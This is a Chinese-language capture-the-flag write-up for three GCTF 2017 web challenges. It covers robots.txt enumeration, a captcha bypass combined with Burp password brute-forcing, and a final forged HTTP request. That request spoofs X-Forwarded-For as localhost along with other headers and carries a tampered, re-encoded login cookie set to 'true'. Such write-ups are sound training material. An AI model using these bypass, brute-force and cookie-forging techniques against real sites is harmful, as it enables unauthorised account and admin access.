GCTF 2017 Writeup

  1. 2017 首届全球华人网络安全技能大赛
    1. 热身题
    2. 变态验证码
    3. Forbidden

2017 首届全球华人网络安全技能大赛

热身题


检查了下robots.txt,

# robots.txt for Topsec CTF
#
User-agent: *
Disallow: /caches
Disallow: /phpcms/config.txt
Disallow: /install
Disallow: /phpsso_server
Disallow: /api.txt
Disallow: /Admin.aspx
Disallow: /te1t.txt
Disallow: /dede
Disallow: /m3mber
Disallow: /setup
Disallow: /uping
Disallow: /templets
Disallow: /default
Disallow: /index.html
Disallow: /js.txt
Disallow: /login.php
Disallow: /rob0t.php
Disallow: /admin.php
Disallow: /1ndex.txt
Disallow: /freelist
Disallow: /html
Disallow: /include

尝试直到发现/rob0t.php

———————–Congratulation!—————————
GCTF{ae609880185f1d75}

变态验证码

搜了一下几种绕验证码的方式,都试了一下,发现只要第一次输对了验证码,后面直接把验证码设为空串就行了,然后用Burp和他给的password.txt爆破一下就行了

Forbidden

查看网页源代码,发现注释

X-Forwarded-For:localhost

又发现提示了www.topsec.com

Host: www.topsec.com

Referer: http://www.baidu.com

模拟ajax请求头

X-Requested-With:XMLHttpRequest

User-Agent 添加

MSIE 4;

User-Agent 添加

.NET CLR 8;

修改下Accept-Language

Accept-Language: de-DE,de;

这里比较考脑洞了,看到response中有Set-Cookie : login=4e6a59324d545a6a4e7a4d324e513d3d

但是添加这个并没用。充分审题“没有登录”,又想不到什么办法,对login值进行decode

4e6a59324d545a6a4e7a4d324e513d3d ———ASCII2Hex—->

NjY2MTZjNzM2NQ== —————Base64——>

66616c7365 ————–ASCII2Hex->

false

false 改成 true,反过来encode,得“4e7a51334d6a63314e6a553d”,再提交即可得flag。

最终

GET / HTTP/1.1
Host: www.topsec.com
User-Agent: Mozilla/5.0 (X11; .NET CLR 8;MSIE 4; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: de-DE,de;q=0.5
Referer: http://www.baidu.com
X-Forwarded-For:localhost
X-Requested-With:XMLHttpRequest
Cookie: lang=english; 8760CE88=1;login=4e7a51334d6a63314e6a553d
Connection: close
Cache-Control: max-age=0

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com